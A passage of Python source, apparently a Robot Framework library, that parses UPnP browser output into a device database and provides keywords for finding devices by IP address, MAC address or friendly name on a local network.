self.serial_number The serial number of the device, often matching with the MAC address (if any)
"""
if entry_array is None:
raise Exception('InvalidEntry')
type = entry_array[0]
self._input = entry_array
if type == '+':
self.event = 'add'
elif type == '-':
self.event = 'del'
else:
raise Exception('UnknownType:' + type)
if self.event == 'add' and len(entry_array) != 14:
raise Exception('InvalidEntry')
#else:
# print('Processing new entry: ' + str(entry_array))
self.interface = UpnpBrowseDeviceEvent.unescape_upnpbrowse_string(entry_array[1])
if not self.interface:
raise Exception('InvalidEntry')
self.udn = UpnpBrowseDeviceEvent.unescape_upnpbrowse_string(entry_array[2])
if not self.udn:
raise Exception('InvalidEntry')
self.device_type = None
self.friendly_name = None
self.location = None
self.manufacturer = None
self.manufacturer_url = None
self.model_description = None
self.model_name = None
self.model_number = None
self.model_url = None
self.presentation_url = None
self.serial_number = None
try:
self.device_type = UpnpBrowseDeviceEvent.unescape_upnpbrowse_string(entry_array[3])
if not self.device_type:
if self.event == 'add':
raise Exception('InvalidEntry')
self.device_type = None
self.friendly_name = UpnpBrowseDeviceEvent.unescape_upnpbrowse_string(entry_array[4])
if not self.friendly_name:
if self.event == 'add':
raise Exception('InvalidEntry')
self.friendly_name = None
self.location = UpnpBrowseDeviceEvent.unescape_upnpbrowse_string(entry_array[5])
if not self.location:
self.location = None
self.manufacturer = UpnpBrowseDeviceEvent.unescape_upnpbrowse_string(entry_array[6])
if not self.manufacturer:
self.manufacturer = None
self.manufacturer_url = UpnpBrowseDeviceEvent.unescape_upnpbrowse_string(entry_array[7])
if not self.manufacturer_url:
self.manufacturer_url = None
self.model_description = UpnpBrowseDeviceEvent.unescape_upnpbrowse_string(entry_array[8])
if not self.model_description:
self.model_description = None
self.model_name = UpnpBrowseDeviceEvent.unescape_upnpbrowse_string(entry_array[9])
if not self.model_name:
self.model_name = None
self.model_number = UpnpBrowseDeviceEvent.unescape_upnpbrowse_string(entry_array[10])
if not self.model_number:
self.model_number = None
self.model_url = UpnpBrowseDeviceEvent.unescape_upnpbrowse_string(entry_array[11])
if not self.model_url:
self.model_url = None
self.presentation_url = UpnpBrowseDeviceEvent.unescape_upnpbrowse_string(entry_array[12])
if not self.presentation_url:
self.presentation_url = None
self.serial_number = UpnpBrowseDeviceEvent.unescape_upnpbrowse_string(entry_array[13])
if not self.serial_number:
self.serial_number = None
except IndexError as e:
if self.event == 'add':
raise # Only propagate array out of bound exception for 'add' events (not for 'del' events that often have incomplete fields)
self.txt_missing_end = False
def continued_on_next_line(self):
"""\brief Are there more lines required to fill-in this device description
\return True if there are more lines required to fill-in this device description. In such case, the additional lines can be provided by subsequent calls to method add_line() below
"""
return self.txt_missing_end
def add_line(self, line):
"""\brief Provided additional lines to fill-in this device description. This is not supported because UpnpBrowser's output never span multiple lines, but it is kept here for homogeneous interface with the Robotframework BonjourLibrary
\param line A new line to process, encoded as UTF-8 (without the terminating carriage return)
"""
raise Exception('ExtraInputLine')
@staticmethod
def unescape_upnpbrowse_string(input):
"""\brief Unescape all escaped characters in string \p input
\param input String to unescape
\return The unescaped string (avahi-browse escaped bytes will lead to an UTF-8 encoded returned string)
"""
output = ''
espace_pos = input.find('\\')
while espace_pos != -1:
new_chunk = input[espace_pos+1:]
output += input[:espace_pos]
#print(output + '==>' + new_chunk)
try:
escaped_char = int(new_chunk[0]) * 100 + int(new_chunk[1]) * 10 + int(new_chunk[2]) # Fetch 3 following digits and convert them to a decimal value
output += chr(escaped_char) # Append escaped character to output (note: if escaped_char is not a byte (>255 for example), an exception will be raised here
new_chunk = new_chunk[3:] # Skip the 3 characters that make the escaped ASCII value
except:
output += '\\' # This was not an escaped character... re-insert the '\'
input = new_chunk
espace_pos = input.find('\\')
output += input
return output
def __repr__(self):
if self.event == 'add':
output = '+'
elif self.event == 'update':
output = '!'
elif self.event == 'del':
output = '-'
else:
output = '?'
output += '[if=' + str(self.interface) + ']: "' + str(self.udn) + '"'
if self.presentation_url:
output += ' '+ str(self.presentation_url)
if self.friendly_name:
output += '(' + str(self.friendly_name)
output += ')'
return output
class UpnpDevice:
"""Description of an UPnP device (this is a data container without any method (the equivalent of a C-struct))"""
def __init__(self,
hostname,
ip_address,
port,
device_type,
friendly_name,
location,
manufacturer,
manufacturer_url,
model_description,
model_name,
model_number,
model_url,
presentation_url,
serial_number,
mac_address = None):
self.hostname = hostname
self.ip_address = ip_address
self.port = port
self.device_type = device_type
self.friendly_name = friendly_name
self.location = location
self.manufacturer = manufacturer
self.manufacturer_url = manufacturer_url
self.model_description = model_description
self.model_name = model_name
self.model_number = model_number
self.model_url = model_url
self.presentation_url = presentation_url
self.serial_number = serial_number
self.mac_address = mac_address
def __repr__(self):
if self.ip_address:
result = '[' + str(self.ip_address)
if not self.port is None:
result += ':' + str(self.port)
result += ']'
result += '[' + str(self.friendly_name)
result += '(' + str(self.device_type) + ')'
if not self.mac_address is None:
result += ',MAC=' + str(self.mac_address) + ')'
if not self.location is None:
result += ',LOCATION="' + str(self.location) + '"'
if not self.presentation_url is None:
result += ',URL="' + str(self.presentation_url) + '"'
if self.model_description:
result += ',MODEL="' + str(self.model_description)
if self.model_name:
result += '(' + str(self.model_name) + ')'
result += '"'
result += ']'
return result
class UpnpDeviceDatabase:
"""UPnP service database"""
def __init__(self, resolve_mac = False, use_sudo_for_arping = True):
"""Initialise an empty UpnpDeviceDatabase
\param resolve_mac If True, we will also resolve each entry to store the MAC address of the device together with its IP address
\param use_sudo_for_arping Use sudo when calling arping (only used if resolve_mac is True)
"""
self._database = {}
self.resolve_mac = resolve_mac
self.use_sudo_for_arping = use_sudo_for_arping
def __repr__(self):
temp = ''
try:
values = self._database.iteritems()
except AttributeError:
values = self._database.items()
for (key, value) in values:
temp += '''key:%s
value:%s
''' % (key, value)
return temp
@staticmethod
def _upnp_purl_to_details(presentation_url):
"""Convert a presentation URL to a tuple of protocol, hostname, port, path
\param presentation_url
\return A tuple containing (protocol, hostname, port, path). Any (and possibly all) elements can be None if parsing failed
"""
purl_proto = None
purl_hostname = None
purl_port = None
purl_path = None
purl_array_proto = presentation_url.split('//')
if len(purl_array_proto)>1: # Split did find '//'
purl_proto = purl_array_proto[0].rstrip(':').lower()
presentation_url = purl_array_proto[1]
try:
purl_path_sep_index = presentation_url.index('/')
purl_path = presentation_url[purl_path_sep_index+1:]
presentation_url = presentation_url[:purl_path_sep_index]
except ValueError:
pass
try:
purl_port_sep_index = presentation_url.index(':')
purl_hostname = presentation_url[:purl_port_sep_index]
purl_port = presentation_url[purl_port_sep_index+1:]
except ValueError:
# Not ':' found
purl_hostname = presentation_url
purl_port = None
if purl_proto is None: # Assume HTTP be default for URLs
purl_proto = 'http'
if purl_port is None: # Handle default ports if we know them
if purl_proto == 'http':
purl_port = 80
elif purl_proto == 'https':
purl_port = 443
return (purl_proto, purl_hostname, purl_port, purl_path)
@staticmethod
def _hostname_to_ip_address(ip_version, hostname):
"""Resolve a hostname to an IP address
\param ip_version 4 to resolve to an IPv4 or 6 to resolve to an IPv6
\param hostname The hostname to be resolved
\return The IP address of the provided \p hostname
"""
hostname_contains_ip_version = guess_ip_version(hostname)
if ip_version == 4 and hostname_contains_ip_version == 4:
return hostname
if ip_version == 6 and hostname_contains_ip_version == 6:
return hostname
raise('HostnameResolutionNotSupported')
def add(self, key, upnp_device):
"""Add one UPnP device in database
\param key A tuple containing the description of the UPnP device (interface, protocol, udn) (note that interface is a string containing the interface name following the OS designation)
\param upnp_device An instance of UpnpDevice to add in the database for this \p key
"""
(interface_osname, protocol, udn) = key
msg = 'Adding device ' + str(key) + ' with details ' + str(upnp_device) + ' to internal db'
logger.debug(msg)
if self.resolve_mac and not upnp_device is None:
upnp_device.mac_address = None
if protocol == 'ipv4':
try:
phys_interface_osname = interface_osname.split(':')[0] # Extract the physical interface name for arping (eg: arping should be done on 'eth1', not on 'eth1:avahi')
mac_address_list = arping(upnp_device.ip_address, phys_interface_osname, use_sudo=self.use_sudo_for_arping, logger=logger)
if len(mac_address_list) != 0:
if len(mac_address_list) > 1: # More than one MAC address... issue a warning
logger.warn('Got more than one MAC address for host ' + str(upnp_device.ip_address) + ': ' + str(mac_address_list) + '. Using first')
upnp_device.mac_address = mac_address_list[0]
except Exception as e:
if e.message != 'ArpingSubprocessFailed': # If we got an exception related to anything else than arping subprocess...
raise # Raise the exception
else:
logger.warn('Arping failed for IP address ' + str(upnp_device.ip_address) + '. Continuing anyway but MAC address will remain set to None')
# Otherwise, we will just not resolve the IP address into a MAC... too bad, but maybe not that blocking
else:
logger.warn('Cannot resolve IPv6 ' + upnp_device.ip_address + ' to MAC address (function not implemented yet)')
self._database[key] = upnp_device
def remove(self, key):
"""Remove one UPnP device from database
\param key A tuple containing (interface, protocol, udn), which is the key of the record to delete from the database
"""
logger.debug('Removing entry ' + str(key) + ' from database')
(interface_osname, protocol, udn) = key
if protocol is not None: # Protocol may not be provided, in that case, we consider it a wildcard (remove all protocols)
if key in self._database.keys():
del self._database[key]
else: # Protocol is none, remove all entries matching this interface and udn
#print('Using delete with wildcard on protocol')
for db_key in self._database.keys():
(db_interface_osname, db_protocol, db_udn) = db_key
if db_interface_osname == interface_osname and db_udn == udn: # Both interface_osname and udn match
logger.debug('Deleting key (' + str(db_interface_osname) + ', *=' + str(db_protocol) + ', ' + str(db_udn) + ') from database using wildcard for protocol')
del self._database[db_key]
def reset(self):
"""\brief Empty the database"""
self._database = {}
def processEvent(self, upnp_event):
"""\brief Update this database according to the \p upnp_event
\param upnp_event The event to process, provided as an instance of UpnpBrowseDeviceEvent
"""
presentation_url = upnp_event.presentation_url
if presentation_url is not None:
(purl_proto, purl_hostname, purl_port, purl_path) = UpnpDeviceDatabase._upnp_purl_to_details(presentation_url)
ip_version = guess_ip_version(purl_hostname)
if ip_version == 4:
protocol = 'ipv4'
elif ip_version == 6:
protocol = 'ipv6'
else:
protocol = None
else:
protocol = None # No presentation URL... cannot guess protocol, set it to unknown
key = (upnp_event.interface, protocol, upnp_event.udn)
if upnp_event.event == 'add':
upnp_device = UpnpDevice(purl_hostname,
UpnpDeviceDatabase._hostname_to_ip_address(ip_version, purl_hostname),
purl_port,
upnp_event.device_type,
upnp_event.friendly_name,
upnp_event.location,
upnp_event.manufacturer,
upnp_event.manufacturer_url,
upnp_event.model_description,
upnp_event.model_name,
upnp_event.model_number,
upnp_event.model_url,
presentation_url,
upnp_event.serial_number,
mac_address = None)
#logger.debug('Will process add event on device ' + str(upnp_device))
self.add(key, upnp_device)
elif upnp_event.event == 'del':
# With del events, we only use the key to delete the service (other info is not needed)
self.remove(key)
else:
raise Exception('UnknownEvent')
# def keep_only_service_name(self, service_name):
# """\brief Filter the current database to remove all entries that do not match the specified \p service_name
#
# \param service_name The service name of entries to keep
# """
# for key in self._database.keys():
# name = key[2]
# if name != service_name:
# logger.debug('Removing non-required service named "' + name + "' from database")
# del self._database[key]
#
# def keep_only_ip_address(self, ip_address):
# """\brief Filter the current database to remove all entries that do not match the specified \p ip_address
#
# \param ip_address The IP address of entries to keep
# """
# try:
# records = self._database.iteritems()
# except AttributeError:
# records = self._database.items()
#
# for (key, bonjour_service) in records:
# if not bonjour_service is None:
# if bonjour_service.ip_address == ip_address:
# logger.debug('Removing non-required IP address "' + ip_address + "' from database")
# del self._database[key]
#
# def keep_only_mac_address(self, mac_address):
# """\brief Filter the current database to remove all entries that do not match the specified \p mac_address
#
# \param mac_address The MAC address of entries to keep
# """
# try:
# records = self._database.iteritems()
# except AttributeError:
# records = self._database.items()
#
# for (key, bonjour_service) in records:
# if not bonjour_service is None:
# if mac_normalise(bonjour_service.mac_address) == mac_normalise(mac_address):
# logger.debug('Removing non-required MAC address "' + mac_address + "' from database")
# del self._database[key]
def export_to_tuple_list(self):
"""\brief Export this database to a list of tuples (so that it can be processed by RobotFramework keywords)
\return A list of tuples containing (interface, protocol, udn, hostname, ip_address, port, device_type, friendly_name, location, manufacturer, manufacturer_url, model_description, model_name, model_number, model_url, presentation_url, serial_number, mac_address)
"""
export = []
try:
records = self._database.iteritems()
except AttributeError:
records = self._database.items()
for (key, upnp_device) in records:
(interface_osname, protocol, udn) = key
if upnp_device:
hostname = upnp_device.hostname
ip_address = upnp_device.ip_address
port = upnp_device.port
device_type = upnp_device.device_type
friendly_name = upnp_device.friendly_name
location = upnp_device.location
manufacturer = upnp_device.manufacturer
manufacturer_url = upnp_device.manufacturer_url
model_description = upnp_device.model_description
model_name = upnp_device.model_name
model_number = upnp_device.model_number
model_url = upnp_device.model_url
presentation_url = upnp_device.presentation_url
serial_number = upnp_device.serial_number
mac_address = upnp_device.mac_address
export += [(interface_osname, protocol, udn, hostname, ip_address, port, device_type, friendly_name, location, manufacturer, manufacturer_url, model_description, model_name, model_number, model_url, presentation_url, serial_number, mac_address)]
return export
def import_from_tuple(self, tuple):
"""\brief Import a record into this database from a tuples
\param tuple A tuple containing (interface, protocol, udn, hostname, ip_address, port, device_type, friendly_name, location, manufacturer, manufacturer_url, model_description, model_name, model_number, model_url, presentation_url, serial_number, mac_address), as exported into a list using export_to_tuple_list() for example
"""
(interface_osname, protocol, udn, hostname, ip_address, port, device_type, friendly_name, location, manufacturer, manufacturer_url, model_description, model_name, model_number, model_url, presentation_url, serial_number, mac_address) = tuple
key = (interface_osname, protocol, udn)
upnp_device = UpnpDevice(hostname, ip_address, port, device_type, friendly_name, location, manufacturer, manufacturer_url, model_description, model_name, model_number, model_url, presentation_url, serial_number, mac_address)
self.add(key, upnp_device)
def is_ip_address_in_db(self, ip_address):
try:
records = self._database.iteritems()
except AttributeError:
records = self._database.items()
for (key, upnp_device) in records:
if not upnp_device is None:
if upnp_device.ip_address == ip_address:
return True
return False
def is_mac_address_in_db(self, mac_address):
if mac_address is None:
return False
try:
records = self._database.iteritems()
except AttributeError:
records = self._database.items()
for (key, upnp_device) in records:
if not upnp_device is None:
if upnp_device.mac_address == mac_address:
return True
return False
def get_ip_address_from_mac_address(self, searched_mac, ip_type = 'all'):
"""\brief Check the IP address of a UPnP device, given its MAC address
Note: the database must have been filled with a list of devices prior to calling this method
An exception will be raised if there are two different matches in the db... None will be returned if there is no match
\param searched_mac The MAC address of the device to search
\param ip_type The version of IP searched ('ipv4', 'ipv6' or 'all' (default)
\return The IP address of the device (if found)
"""
searched_mac = mac_normalise(searched_mac, False)
match = None
for key in self._database.keys():
protocol = key[1]
if ip_type == 'all' or protocol == ip_type:
upnp_device = self._database[key]
if not upnp_device is None:
mac_product = upnp_device.mac_address
if not mac_product is None:
mac_product = mac_normalise(mac_product, False)
if searched_mac == mac_product:
ip_address = self._database[key].ip_address
if match is None:
match = ip_address
elif match == ip_address: # Error... there are two matching entries, with different IP addresses!
raise Exception('DuplicateMACAddress')
return match
def get_ip_address_from_name(self, searched_name, ip_type = 'all'):
"""\brief Check the IP address of a UPnP device, given its published name
Note: the database must have been filled with a list of devices prior to calling this method
An exception will be raised if there are two different matches in the db... None will be returned if there is no match
\param searched_name The MAC address of the device to search
\param ip_type The version of IP searched ('ipv4', 'ipv6' or 'all' (default)
\return The IP address of the device (if found)
"""
match = None
#logger.debug('Searching for service "' + searched_name + '" to get its device IP type: ' + ip_type)
for key in self._database.keys():
protocol = key[1]
if ip_type == 'all' or protocol == ip_type:
upnp_device = self._database[key]
if not upnp_device is None:
service_name_product = upnp_device.friendly_name
if service_name_product == searched_name:
ip_address = upnp_device.ip_address
if match is None:
match = ip_address
elif match == ip_address: # Error... there are two matching entries, with different IP addresses!
raise Exception('DuplicateServiceName')
return match
def service_available(self, *kwargs):
print('Entering service_available() with args: ' + str(kwargs))
def service_unavailable(self, *kwargs):
print('Entering service_unavailable() with args: ' + str(kwargs))
class UpnpLibrary:
"""Robot Framework UPnP Library"""
ROBOT_LIBRARY_DOC_FORMAT = 'ROBOT'
ROBOT_LIBRARY_SCOPE = 'GLOBAL'
ROBOT_LIBRARY_VERSION = '1.0'
UPNP_BROWSER_DEFAULT_EXEC = 'scripts/UpnpBrowser.py'
def __init__(self, upnp_browser_exec_path=None, use_sudo_for_arping=True):
self._service_database = None
self._service_database_mutex = threading.Lock() # This mutex protects writes to the _service_database attribute
if upnp_browser_exec_path is None:
self._upnp_browser_exec_path = UpnpLibrary.UPNP_BROWSER_DEFAULT_EXEC
else:
self._upnp_browser_exec_path = upnp_browser_exec_path
self._use_sudo_for_arping = use_sudo_for_arping
self._added_device_event = threading.Event() # New device added event (an event watcher like self._set_events_on_device_event() needs to be called in order for this flag to be representative)
self._removed_device_event = threading.Event() # New device remove event (same note as above)
def _parse_upnp_browse_output(self, upnp_browse_process, interface_name_filter = None, ip_type_filter = None, event_callback = None):
"""Parse the output of an existing upnp-browse command and update self._service_database accordingly until the subprocess terminates
\param upnp_browse_process A subprocess.Popen object for which we will process the output
\param interface_name_filter If not None, we will only process services on this interface name
\param ip_type_filter If not None, we will only process services with this IP type
\param event_callback If not None, we will call this function for each database update, giving it the new UpnpBrowseDeviceEvent as argument
"""
previous_line_continued = False
upnp_event = None
#print('Going to parse output of process PID ' + str(upnp_browse_process.pid))
# We cannot use stdout iterator as usual here, because it adds some buffering on the subprocess stdout that will not provide us the output lines in real-time
line = upnp_browse_process.stdout.readline()
while line:
line = line.rstrip('\n')
#print('upnp-browse:"' + line + '"')
if previous_line_continued:
upnp_event.add_line(line)
else:
upnp_event = UpnpBrowseDeviceEvent(line.split(';'))
previous_line_continued = upnp_event.continued_on_next_line()
if not previous_line_continued:
#~ print('Getting event ' + str(upnp_event))
if interface_name_filter is None or upnp_event.interface == interface_name_filter: # Only take into account services on the requested interface (if an interface was provided)
if ip_type_filter is None or upnp_event.ip_type == ip_type_filter: # Only take into account services running on the requested IP stack (if an IP version was provided)
with self._service_database_mutex:
self._service_database.processEvent(upnp_event)
if not event_callback is None and hasattr(event_callback, '__call__'):
event_callback(upnp_event) # If there is a callback to trigger when an event is processed, also run the callback
line = upnp_browse_process.stdout.readline()
def _set_internal_events_on_new_device_event(self, event):
"""Set threading.Event flags when a new device event is received
This function will set self._added_device_event when \p event corresponds to an added device event and will set self._removed_device_event when \p event corresponds to an removed device event
It is aimed to be provided as a callback (argument event_callback) to _parse_upnp_browse_output
\param event The new event received
"""
if event.event == 'add':
#logger.debug('Got add event... setting self._added_device_event')
self._added_device_event.set()
elif event.event == 'del':
#logger.debug('Got add event... setting self._removed_device_event')
self._removed_device_event.set()
def _kill_process_at_timeout(self, process, threading_event, timeout, disable_event = None):
"""Kill a UpnpBrowse.py subprocess when a threading event has not been set for longer than \p timeout
At each new triggering event, we will clear again threading_event... and wait for \p timeout seconds on it to be set again... if it is not set after this timeout, we will send a SIGKILL to \p process (a subprocess.Popen object)
This function should be run in a secondary thread and acts as a watchdog
\param process The subprocess.Popen object to send a kill signal to
\param threading_event The threading.Event to watch
\param timeout The timeout after which we will kill the subprocess if \p threading_event has not been set()
\param stop_event An optional threading.Event used to disable this function (if it is set when the timeout occurs, we will exit without sending the kill signal)
"""
while threading_event.wait(timeout):
#logger.debug('Watchdog reset for ' + str(timeout) + 's')
threading_event.clear() # Reset the event and wait again
#logger.debug('Watchdog trigerred')
if not disable_event is None:
if disable_event.is_set():
return
logger.info('Killing subprocess ' + str(process.pid))
process.kill()
def get_services(self, device_type = 'upnp:rootdevice', interface_name = None, ip_type = None, resolve_ip = True, timeout = 2):
"""Get all currently published UPnP services as a list
First (optional) argument `device_type` is the type of service (in the GUPnP terminology, the default value being `upnp:rootdevice`)
Second (optional) argument `interface_name` is the name of the network interface on which to browse for UPnP devices (if not specified, search will be performed on all valid network interfaces)
Third (optional) argument `ip_type` is the type of IP protocol to filter our (eg: `ipv6`, or `ipv4`, the default values being any IP version)
Fourth (optional) argument `resolve_ip`, when True, will also include the MAC address of devices in results (default value is to resolve IP addresses)
Fifth (optional) argument `timeout`, is the timeout we will wait after each newly discovered device before considering we have finished the network discovery (increase this on slow networks)
Return a list of services found on the network (one entry per service, each service being described by a tuple containing (interface_osname, protocol, udn, hostname, ip_address, port, device_type, friendly_name, location, manufacturer, manufacturer_url, model_description, model_name, model_number, model_url, presentation_url, serial_number, mac_address) = tuple
The return value can be stored and re-used later on to rework on this service list (see keyword `Import Results`)
Example:
| @{result_list} = | Get Services | upnp:rootdevice |
| @{result_list} = | Get Services | upnp:rootdevice | eth1 |
| @{result_list} = | Get Services | upnp:rootdevice | eth1 | ipv6 |
"""
if interface_name is None:
logger.warn('Browsing on all interfaces is not supported in UpnpLibrary')
raise Exception('NotSupported')
with self._service_database_mutex:
self._service_database = UpnpDeviceDatabase(resolve_mac = resolve_ip, use_sudo_for_arping = self._use_sudo_for_arping)
if device_type and device_type != '*':
device_type_arg = ['-T', device_type]
else:
device_type_arg = []
self._added_device_event.clear() # Clear _added_device_event to start watching for newly discovered devices
cmd = [self._upnp_browser_exec_path, '-i', interface_name] + device_type_arg
logger.debug('Now running subscript ' + str(cmd))
p = subprocess.Popen(cmd, stdout=subprocess.PIPE)
_added_device_timeout_handler = threading.Thread(target = self._kill_process_at_timeout, args=(p, self._added_device_event, timeout)) # Start a background thread that will stop the subprovess when no new discovery occurs within a specified timeout
_added_device_timeout_handler.setDaemon(True) # D-Bus loop should be forced to terminate when main program exits
_added_device_timeout_handler.start()
self._parse_upnp_browse_output(upnp_browse_process=p, interface_name_filter=interface_name, ip_type_filter=ip_type, event_callback=self._set_internal_events_on_new_device_event) # We use self._set_internal_events_on_new_device_event() as callback so that it will set _added_device_event to reset the watchdog handled by thread _added_device_timeout_handler
with self._service_database_mutex:
logger.debug('Services found: ' + str(self._service_database))
return self._service_database.export_to_tuple_list()
# def get_ip(self, mac):
# """ Get first IP address which have `mac` in UUID.
#
# Return IP.
#
# Example:
# | Get IP | 01.23.45.67.89.ab |
# =>
# | ${IP} |
# """
#
# ret = ''
# self._upnp_thread.clear()
# wait_test = {'start': self._upnp_http.generate_start_notify(eol=False)}
# mac = ToolLibrary.mac_string(mac)
# maxtime = time.time() + UpnpLibrary.BURST
# while True:
# time.sleep(UpnpLibrary.POLL_WAIT)
# if time.time() > maxtime:
# raise Exception('Expected one NOTIFY/alive')
# temp = self._upnp_thread.wait(wait_test, address=None, timeout=UpnpLibrary.BURST)
# if temp is not None:
# (data, addr) = temp
# result = re.match('^uuid:(.*):{2}(.*)$', data['USN'])
# if result is not None:
# uuid = result.groups()[0]
# uuid_mac = ToolLibrary.mac_string(uuid.split('-')[-1])
# if uuid_mac == mac:
# ret = addr[0]
# break
# ret = unicode(ret)
# return ret
#
# def clear_queue(self):
# """ Delete all UPnP packet received.
#
# Example:
# | Clear Queue |
# """
#
# self._upnp_thread.clear()
#
# def check_on_to_off(self, addr):
# """ Wait a UPnP NOTIFY/byebye on `addr` until BURST time.
# The queue has to be reset manually.
#
# Return data
#
# Example:
# | Clear Queue |
# | Check On To Off | ip |
# =>
# | ${data} |
# """
#
# wait_test = {'start': self._upnp_http.generate_start_notify(eol=False), 'NTS': 'ssdp:byebye'}
# data = self._upnp_thread.wait(wait_test, address=addr, timeout=UpnpLibrary.BURST)
# if not data:
# raise Exception('Expected one NOTIFY/byebye')
# return data
#
# def check_on(self, addr):
# """ Send a msearch on `addr` and wait response until BURST time.
#
# Return data
#
# Example:
# | Check On | ip |
# =>
# | ${data} |
# """
#
# self._upnp_thread.clear()
# request = self._upnp_http.generate_search_request_multicast('upnp:rootdevice')
# self._upnp_socket.send_request(request)
# wait_test = {'start': self._upnp_http.generate_start_response(eol=False)}
# data = self._upnp_thread.wait(wait_test, address=addr, timeout=UpnpLibrary.BURST)
# if not data:
# raise Exception('Expected one response')
# return data
#
# def check_run(self, addr):
# """ Wait a UPnP NOTIFY/alive on `addr` until BURST time.
#
# Return data
#
# Example:
# | Check Run | ip |
# =>
# | ${data} |
# """
#
# self._upnp_thread.clear()
# wait_test = {'start': self._upnp_http.generate_start_notify(eol=False), 'NTS': 'ssdp:alive'}
# data = self._upnp_thread.wait(wait_test, address=addr, timeout=UpnpLibrary.BURST)
# if not data:
# raise Exception('Expected one NOTIFY/alive')
# return data
#
# def check_stop(self, addr):
# """ Wait no UPnP NOTIFY/alive on `addr` until BURST time.
#
# Example:
# | Check Stop | ip |
# """
#
# self._upnp_thread.clear()
# wait_test = {'start': self._upnp_http.generate_start_notify(eol=False), 'NTS': 'ssdp:alive'}
# data = self._upnp_thread.wait(wait_test, address=addr, timeout=UpnpLibrary.BURST)
# if data:
# raise Exception('Expected no NOTIFY')
#
# @staticmethod
# def retrieve_xml(data):
# """ Retrieve XML file from `data`.
#
# Return filename.
#
# Example:
# | ${data} = | Check Run | ip |
# | Retrieve Xml | ${data} |
# =>
# | ${filename} |
# """
#
# ret = ''
# try:
# data_parsed = data[0]
# url = data_parsed['LOCATION']
# except StandardError:
# raise Exception('No location')
# try:
# ret = urllib.urlretrieve(url)[0]
# except StandardError:
# raise Exception('Unable to retrieve xml')
# ret = unicode(ret)
# return ret
def get_service_on_ip(self, ip_address):
"""Reduce the current server database for only services matching with the provided IP address
Note: `Get Services` or `Import Results` must have been run prior to calling this keyword
To make sure you restrict to IPv4 or IPv6, filter IP types when running `Get Services`
Note: running this keyword will have the effect of changing the current database results from `Get Services` (used by other keywords)
Example:
| Get Services | upnp:rootdevice | eth1 | ipv4 |
| @{result_list} = | Get Service On IP | 192.168.0.1 |
"""
with self._service_database_mutex:
self._service_database.keep_only_ip_address(ip_address)
return self._service_database.export_to_tuple_list()
def get_service_on_mac(self, mac_address):
"""Reduce the current server database for only services matching with the provided MAC address
Note: `Get Services` or `Import Results` must have been run prior to calling this keyword
Note: running this keyword will have the effect of changing the current database results from `Get Services` (used by other keywords)
In order to use this keyword, you will need to request IP to MAC address resolution (4th argument of Get Services)
Example:
| Get Services | upnp:rootdevice | eth1 | ipv4 |
| @{result_list} = | Get Service On MAC | 00:04:74:02:26:47 |
"""
with self._service_database_mutex:
self._service_database.keep_only_mac_address(mac_address)
return self._service_database.export_to_tuple_list()
def expect_service_on_ip(self, ip_address):
"""Test if a service has been listed on device with IP address `ip_address`
Note: `Get Services` or `Import Results` must have been run prior to calling this keyword
To make sure you restrict to IPv4 or IPv6, filter IP types when running `Get Services`
Example:
| Expect Service On IP | 192.168.0.1 |
"""
with self._service_database_mutex:
if not self._service_database.is_ip_address_in_db(ip_address):
raise Exception('ServiceNotFoundOn:' + str(ip_address))
def expect_no_service_on_ip(self, ip_address):
"""Test if a service is absent from device with IP address `ip_address`
Note: `Get Services` or `Import Results` must have been run prior to calling this keyword
To make sure you restrict to IPv4 or IPv6, filter IP types when running `Get Services`
Example:
| Expect No Service On IP | 192.168.0.1 |
"""
with self._service_database_mutex:
if self._service_database.is_ip_address_in_db(ip_address):
raise Exception('ServiceExistsOn:' + str(ip_address))
def expect_service_on_mac(self, mac_address):
"""Test if a service has been listed on device with MAC address `mac_address`
Note: `Get Services` or `Import Results` must have been run prior to calling this keyword
In order to use this keyword, you will need to request IP to MAC address resolution (4th argument of Get Services)
Example:
| Expect Service On MAC | 00:04:74:05:38:38 |
"""
with self._service_database_mutex:
if not self._service_database.is_mac_address_in_db(mac_address):
raise Exception('ServiceNotFoundOn:' + str(mac_address))
def expect_no_service_on_mac(self, mac_address):
"""Test if a service is absent from device with MAC address `mac_address`
Note: `Get Services` or `Import Results` must have been run prior to calling this keyword
In order to use this keyword, you will need to request IP to MAC address resolution (4th argument of Get Services)
Example:
| Expect No Service On MAC | 00:04:74:05:38:38 |
"""
with self._service_database_mutex:
if self._service_database.is_mac_address_in_db(mac_address):
raise Exception('ServiceExistsOn:' + str(mac_address))
def get_ipv4_for_mac(self, mac):
"""Returns the IPv4 address matching MAC address from the list a Bonjour devices in the database
Note: The search will be performed on the service cache so `Get Services` or `Import Results` must have been run prior to calling this keyword
If there is more than one IPv4 address matching with the MAC address, an exception will be raised (unlikely except if there is an IP address update in the middle of `Get Services`)
In order to use this keyword, you will need to request IP to MAC address resolution (4th argument of Get Services)
Return the IPv4 address or None if the MAC address was not found.
Example:
| Get IPv4 For MAC | 00:04:74:12:00:01 |
=>
| 169.254.47.26 |
"""
with self._service_database_mutex:
return self._service_database.get_ip_address_from_mac_address(mac, ip_type='ipv4')
def get_ipv6_for_mac(self, mac):
"""Returns the IPv6 address matching MAC address mac from the list a Bonjour devices in the database
Note: The search will be performed on the service cache so `Get Services` or `Import Results` must have been run prior to calling this keyword
If there is more than one IPv4 address matching with the MAC address, an exception will be raised (unlikely except if there is an IP address update in the middle of `Get Services`)
In order to use this keyword, you will need to request IP to MAC address resolution (4th argument of Get Services)
Return the IPv6 address or None if the service was not found.
Example:
| Get IPv6 For MAC | 00:04:74:12:00:01 |
=>
| fe80::204:74ff:fe12:1 |
"""
with self._service_database_mutex:
return self._service_database.get_ip_address_from_mac_address(mac, ip_type='ipv6')
def get_ipv4_for_device_name(self, device_name):
"""Get the IPv4 address for the device named `device_name`.
Note: The search will be performed on the service cache so `Get Services` or `Import Results` must be called before calling this keyword
Return the IPv4 address or None if the service was not found.
If more than one service matches \p device_name, an exception will be raised
Example:
| ${ip} = | Get IPv4 For Device Name | Workstation000474 |
=>
| 169.254.4.74 |
"""
with self._service_database_mutex:
return self._service_database.get_ip_address_from_name(device_name, ip_type='ipv4')
def get_ipv6_for_device_name(self, device_name):
"""Get the IPv6 address for the device named `device_name`.
Note: The search will be performed on the service cache so `Get Services` or `Import Results` must be called before calling this keyword
Return the IPv6 address or None if the service was not found.
If more than one service matches \p device_name, an exception will be raised
Example:
| ${ip} = | Get IPv6 For Device Name | Workstation000474 |
=>
| fe80::1 |
"""
with self._service_database_mutex:
return self._service_database.get_ip_address_from_name(device_name, ip_type='ipv6')
def import_results(self, result_list):
"""Import a service result list (previously returned by `Get Services` in order to work again/filter/extract from that list
Will raise an exception of the list is not correctly formatted
Example:
| Import Results | @{result_list} |
"""
